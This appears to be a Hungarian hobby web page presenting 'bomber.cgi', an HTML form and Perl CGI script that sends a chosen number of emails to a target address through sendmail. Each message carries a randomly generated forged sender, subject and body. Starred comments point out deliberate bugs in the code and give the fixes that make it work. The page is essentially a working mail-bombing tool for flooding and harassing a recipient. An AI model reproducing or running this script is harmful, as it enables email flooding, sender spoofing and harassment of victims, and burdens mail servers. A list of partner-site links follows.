<body bgcolor="white">
<form action="bomber.cgi" method="get">
<input type="text" name="kinek" value="kinek">
<input type="text" name="hanyszor" value="hanyszor">
<input type="submit">
</form>
#!/usr/bin/perl
# megadjuk, hol van a perl-fordito (nem minden szerveren van pont
#_itt_, nezzunk utana.
print "Content-type:text/html\n\n";
$adat=$ENV{QUERY-STRING};
********* ^ itt, a kotoljel(-) helyett alhuzas(_) kell, direkt hiba.
# beolvassa az adatokat az urlbol, ami valahogy igy nez ki:
# http://szerver.com/bomber.cgi?kinek=kinek&hanyszor=hanyszor
$adat =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$adat =~ tr/+/ /;
# az adatokbol hasznalhato dolgokat csinal
($k, $h)=spit(/\&/,$adat);
($a,$kinek)=spit(/=/,$k);
($a,$hanyszor)=spit(/=/,$h);
*********** spit helyett split kell, hiba bezony ez is
# itt szetszabdaljuk az adatokat, a $kinek-ben van az cim,
# a $hanyszorban pedig a szam
print "$kinek x $hanyszor\n";
# kiirja a dolgokat a bongeszonek, ez igazabol nem fontos
$mailprog = '/usr/sbin/sendmail';
# ebben a valtozoban van, hogy hol van a szerveren a sendmail
# program. Lehet, hogy par helyen nem itt van, utananezes.
for ($i=0;$i<=$hanyszor;$i++) {
# ciklusba kezd, $hanyszor darabszor
$r1=int(rnd(9999999999999));
$r1 =~ tr/1234567890/asdfghjklm/;
$r2=int(rnd(9999999999999));
$r2 =~ tr/1234567890/asdfghjklm/;
$r3=int(rnd(9999999999999));
$r3 =~ tr/1234567890/asdfghjklm/;
$r4=int(rnd(9999999999999));
$r4 =~ tr/1234567890/asdfghjklm/;
******** rnd hejett rand kell igazabol. hiba.
# general 4 veletlenszamot, aztan betuket csinal beloluk
open(MAIL, "|$mailprog -t");
print MAIL "To: $kinek\n";
print MAIL "From: $r1@$r2.cf\n";
****** ^itt, a kukac elott van egy visszaper(\), kulonban a perl tombnek kepzeli, es kiakad. Direkt hiba. igy: print MAIL "From: $r1\@$r2.cf\n";
print MAIL "Subject: $r3\n\n";
print MAIL "$r4\n";
close($mailprog);
***** a $mailprog hejett MAIL kell, szal close(MAIL);
# a levelunk megirasa es elkuldese
}
</body>
<br>Partneroldalak: <br>
<a href="http://domain.domainshop.hu/domain.html" alt="tárhely domainregisztráció">Domain regisztráció tár és szerverszolgáltatások: domain domainnév tárhely e-mail, imap, pop3</a><br>
<a href="http://www.webtar.hu" alt="tárhely donainregisztráció">www.webtar.hu</a><br>
<a href="http://www.micropay.hu" alt="micropay">www.micropay.hu</a><br>
<a href="http://www.ingyenweb.hu" alt="ingyenweb">www.ingyenweb.hu</a><br>
<a href="http://www.videok.hu" alt="Videók">www.videok.hu</a><br>
<a href="http://www.xn--antikvrium-x4a.hu" alt="Antikvárium">www.antikvárium.hu</a><br>
<a href="http://www.ftpdir.hu" alt="ftpdir">www.ftpdir.hu</a><br>
<a href="http://xn--fotk-sqa.hu" alt="fotók">www.fotók.hu</a><br>
<a href="http://www.randi.hu" alt="Randi">www.randi.hu</a><br>
<a href="http://www.licit.hu" alt="Licit">www.licit.hu</a><br>
<a href="http://www.napivicc.hu" alt="vicc">www.napivicc.hu</a><br>
<a href="http://www.gyertyalang.hu" alt="gyertyagyújtás">www.gyertyalang.hu</a><br>
<a href="http://www.xn--helyesrs-fza2j.hu" alt="helyesírás.hu">www.helyesírás.hu</a><br>
<a href="http://domain.webtar.hu/domain.html" alt="Domain regiszráció és tárhely">Domain regisztráció</a><br>